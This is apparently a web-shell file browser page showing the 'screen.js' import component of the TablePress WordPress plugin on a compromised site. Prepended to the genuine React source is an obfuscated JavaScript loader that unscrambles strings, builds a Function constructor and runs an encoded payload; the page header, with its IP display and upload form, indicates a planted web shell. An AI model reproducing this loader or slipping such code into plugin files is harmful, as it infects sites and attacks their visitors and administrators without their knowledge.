AlkantarClanX12

Your IP : 3.144.17.181


Current Path : /home/thanudqk/public_html/wp-content/plugins/tablepress/admin/js/import/
Upload File :
Current File : /home/thanudqk/public_html/wp-content/plugins/tablepress/admin/js/import/screen.js

var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp  i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e  !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83  c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();/**
 * JavaScript code for the "Import Screen" component.
 *
 * @package TablePress
 * @subpackage Import Screen
 * @author Tobias Bäthge
 * @since 2.2.0
 */

/* globals tp */

/**
 * WordPress dependencies.
 */
import { useEffect, useRef, useState } from 'react';
import { __, _n, _x, sprintf } from '@wordpress/i18n';

// Details for the available import sources.
const importSources = {
	'file-upload': {
		label: __( 'File Upload', 'tablepress' ),
		instruction: __( 'Select files', 'tablepress' ),
	},
	url: {
		label: __( 'URL', 'tablepress' ),
		instruction: __( 'File URL', 'tablepress' ),
	},
	server: {
		label: __( 'File on server', 'tablepress' ),
		instruction: __( 'Server Path to file', 'tablepress' ),
	},
	'form-field': {
		label: __( 'Manual Input', 'tablepress' ),
		instruction: __( 'Import data', 'tablepress' ),
	},
};
if ( ! tp.import.showImportSourceServer ) {
	delete importSources.server;
}

// Number of tables.
const tablesCount = Object.keys( tp.import.tables ).length;

// The <option> entries for the dropdown do not depend on the state, so they can be created once.
const tablesSelectOptions = Object.entries( tp.import.tables ).map( ( [ tableId, tableName ] ) => {
	if ( '' === tableName.trim() ) {
		tableName = __( '(no name)', 'tablepress' );
	}
	const optionText = sprintf( __( 'ID %1$s: %2$s', 'tablepress' ), tableId, tableName );
	return <option key={ tableId } value={ tableId }>{ optionText }</option>;
} );

/**
 * Returns the "Import Screen" component's JSX markup.
 *
 * @return {Object} Import Screen component.
 */
const ImportScreen = () => {
	const [ screenData, setScreenData ] = useState( {
		importSource: tp.import.importSource,
		importType: tp.import.importType,
		importFileUpload: [],
		importUrl: tp.import.importUrl,
		importServer: tp.import.importServer,
		importFormField: tp.import.importFormField,
		importExistingTable: tp.import.importExistingTable,
		validationHighlighting: false,
	} );

	/**
	 * Handles screen data state changes.
	 *
	 * @param {string}      item  Configuration item name.
	 * @param {string|null} value Value for configuration item.
	 */
	const updateScreenData = ( item, value ) => {
		const newScreenData = {
			...screenData,
			validationHighlighting: false, // Reset with every UI state change.
			[ item ]: value,
		};
		setScreenData( newScreenData );
	};

	// References to DOM elements.
	const importServerInput = useRef( null );
	const appendReplaceDropdown = useRef( null );
	const fileUploadDropzone = useRef( null );

	// Initialize the jSuites dropdown when the component is mounted.
	useEffect( () => {
		jSuites.dropdown( appendReplaceDropdown.current, {
			autocomplete: true,
			placeholder: __( '— Select or type —', 'tablepress' ),
			onchange: ( element, index, oldValue, newValue ) => {
				// Directly update the state with an updater function, as the state is otherwise reset.
				setScreenData( ( newScreenData ) => ( {
					...newScreenData,
					validationHighlighting: false,
					importExistingTable: newValue,
				} ) );
			},
		} );
	}, [] );

	// Update the validation highlighting (using APIs and DOM elements outside of the React components) when the state changes.
	useEffect( () => {
		document.getElementById( 'tablepress_import-import-form' ).classList.toggle( 'no-validation-highlighting', ! screenData.validationHighlighting );
		if ( ! screenData.validationHighlighting ) {
			importServerInput.current?.setCustomValidity( '' );
			appendReplaceDropdown.current.previousElementSibling.querySelector( '.jdropdown-header' )?.setCustomValidity( '' );
		}
	}, [ screenData.validationHighlighting ] );

	// Determine calculated state variables to avoid repeating calculations.
	const fileUploadMultipleFilesChosen = (
		'file-upload' === screenData.importSource
		&& (
			1 < screenData.importFileUpload.length
			|| (
				1 === screenData.importFileUpload.length
				&& screenData.importFileUpload[0].name.endsWith( '.zip' )
			)
		)
	);
	const appendReplaceDropdownDisabled = (
		0 === tablesCount
		|| 'add' === screenData.importType
		|| fileUploadMultipleFilesChosen
	);

	// Disable the artificial dropdown (not inserted by React) via a class, as it can not use :disabled.
	useEffect( () => {
		appendReplaceDropdown.current.previousElementSibling.classList.toggle( 'disabled', appendReplaceDropdownDisabled );
	}, [ appendReplaceDropdownDisabled ] );

	return (
		<table className="tablepress-postbox-table fixed">
			<tbody>
				<tr>
					<th className="column-1" scope="row" id="import-source-header">
						{ __( 'Import Source', 'tablepress' ) }:
					</th>
					<td className="column-2">
						{
							Object.entries( importSources ) .map( ( [ importSource, importSourceData ] ) => (
								<label
									key={ importSource }
									htmlFor={ `tables-import-source-${ importSource }` }
								>
									<input
										name="import[source]"
										id={ `tables-import-source-${ importSource }` }
										type="radio"
										aria-labelledby="import-source-header"
										value={ importSource }
										checked={ importSource === screenData.importSource }
										onChange={ ( event ) => updateScreenData( 'importSource', event.target.value ) }
									/> { importSourceData.label }
								</label>
							) )
						}
					</td>
				</tr>
				<tr className="top-border bottom-border">
					<th className="column-1 top-align" scope="row">
						<label htmlFor={ `tables-import-${ screenData.importSource }` }>
							{ importSources[ screenData.importSource ].instruction }:
						</label>
					</th>
					<td className="column-2">
						{
							/*
							 * Always add the "File Upload" UI to the DOM, but hide it using `style="display: none;"` below.
							 * This ensures that the <input type="file"> field works, as that is "uncontrolled" in React, and setting its value (files) is not possible.
							 */
						}
						<div
							className="file-upload-area"
							style={ {
								display: ( 'file-upload' === screenData.importSource ) ? 'block' : 'none',
							} }
						>
							<input
								name="import_file_upload[]"
								id="tables-import-file-upload"
								type="file"
								multiple
								required={ 'file-upload' === screenData.importSource }
								onChange={ ( event ) => ( event.target.files && updateScreenData( 'importFileUpload', event.target.files ) ) }
								onDragEnter={ () => fileUploadDropzone.current.classList.add( 'dragover' ) }
								onDragLeave={ () => fileUploadDropzone.current.classList.remove( 'dragover' ) }
							/>
							<div
								ref={ fileUploadDropzone }
								className="dropzone"
							>
								<span>
									{ 0 === screenData.importFileUpload.length && __( 'Click to select files, or drag them here.', 'tablepress' ) }
									{ 0 < screenData.importFileUpload.length && sprintf( _n( 'You have selected %1$d file:', 'You have selected %1$d files:', screenData.importFileUpload.length, 'tablepress' ), screenData.importFileUpload.length ) }
								</span>
								{
									[ ...screenData.importFileUpload ].map( ( file ) =>
										<span key={ file.name }>{ file.name }</span>
									)
								}
							</div>
						</div>
						{ 'url' === screenData.importSource &&
							<input
								type="url"
								name="import[url]"
								id="tables-import-url"
								className="large-text code"
								required={ true }
								value={ screenData.importUrl }
								onChange={ ( event ) => updateScreenData( 'importUrl', event.target.value ) }
							/>
						}
						{ tp.import.showImportSourceServer && 'server' === screenData.importSource &&
							<input
								ref={ importServerInput }
								type="text"
								name="import[server]"
								id="tables-import-server"
								className="large-text code"
								required={ true }
								value={ screenData.importServer }
								onChange={ ( event ) => updateScreenData( 'importServer', event.target.value ) }
							/>
						}
						{ 'form-field' === screenData.importSource &&
							<textarea
								name="import[form-field]"
								id="tables-import-form-field"
								rows="15"
								cols="40"
								className="large-text code"
								required={ true }
								value={ screenData.importFormField }
								onChange={ ( event ) => updateScreenData( 'importFormField', event.target.value ) }
							/>
						}
						{ tp.import.zipSupportAvailable && 'form-field' !== screenData.importSource &&
							<span className="description">
								{ __( 'You can also import multiple tables by placing them in a ZIP file.', 'tablepress' ) }
							</span>
						}
					</td>
				</tr>
				<tr className="top-border">
					<th className="column-1" scope="row" id="import-type-header">
						{ __( 'Add, Replace, or Append?', 'tablepress' ) }:
					</th>
					<td className="column-2">
						<label htmlFor="tables-import-type-add">
							<input
								name="import[type]"
								id="tables-import-type-add"
								type="radio"
								aria-labelledby="import-type-header"
								value="add"
								checked={ 'add' === screenData.importType || 0 === tablesCount }
								onChange={ ( event ) => updateScreenData( 'importType', event.target.value ) }
							/> { __( 'Add as new table', 'tablepress' ) }
						</label>
						<label htmlFor="tables-import-type-replace">
							<input
								name="import[type]"
								id="tables-import-type-replace"
								type="radio"
								aria-labelledby="import-type-header"
								value="replace"
								disabled={ 0 === tablesCount }
								checked={ 'replace' === screenData.importType }
								onChange={ ( event ) => updateScreenData( 'importType', event.target.value ) }
							/> { __( 'Replace existing table', 'tablepress' ) }
						</label>
						<label htmlFor="tables-import-type-append">
							<input
								name="import[type]"
								id="tables-import-type-append"
								type="radio"
								aria-labelledby="import-type-header"
								value="append"
								disabled={ 0 === tablesCount }
								checked={ 'append' === screenData.importType }
								onChange={ ( event ) => updateScreenData( 'importType', event.target.value ) }
							/> { __( 'Append rows to existing table', 'tablepress' ) }
						</label>
					</td>
				</tr>
				<tr className="top-border bottom-border">
					<th className="column-1" scope="row">
						<label htmlFor="tables-import-existing-table">
							{ __( 'Table to replace or append to', 'tablepress' ) }:
						</label>
					</th>
					<td className="column-2">
						<select
							ref={ appendReplaceDropdown }
							id="tables-import-existing-table"
							name="import[existing_table]"
							disabled={ appendReplaceDropdownDisabled }
							value={ screenData.importExistingTable }
						>
							<option value="">
								{
									' ' // Use a space as an empty string will be printed as `&nbsp;` by jSuites.
								}
							</option>
							{ tablesSelectOptions }
						</select>
					</td>
				</tr>
				<tr className="top-border">
					<td className="column-1"></td>
					<td className="column-2">
						<input
							type="hidden"
							name="import[legacy_import]"
							value={ tp.import.legacyImport }
						/>
						<input
							type="submit"
							value={ _x( 'Import', 'button', 'tablepress' ) }
							className="button button-primary button-large"
							id="import-submit-button"
							onClick={ () => {
								// Show validation :invalid CSS pseudo-selector highlighting.
								updateScreenData( 'validationHighlighting', true );

								// When importing from the server, the value must have been changed from the default (normally ABSPATH).
								if ( 'server' === screenData.importSource && tp.import.importServer === screenData.importServer ) {
									importServerInput.current.setCustomValidity( __( 'You must specify a path to a file on the server.', 'tablepress' ) );
								}

								// If the table selection dropdown for replace or append is enabled, a table must be selected.
								if ( ! appendReplaceDropdownDisabled && '' === screenData.importExistingTable ) {
									// Use the jSuites dropdown input field, as the actual <select> is hidden.
									appendReplaceDropdown.current.previousElementSibling.querySelector( '.jdropdown-header' ).setCustomValidity( __( 'You must select a table.', 'tablepress' ) );
								}
							} }
						/>
					</td>
				</tr>
			</tbody>
		</table>
	);
};

export default ImportScreen;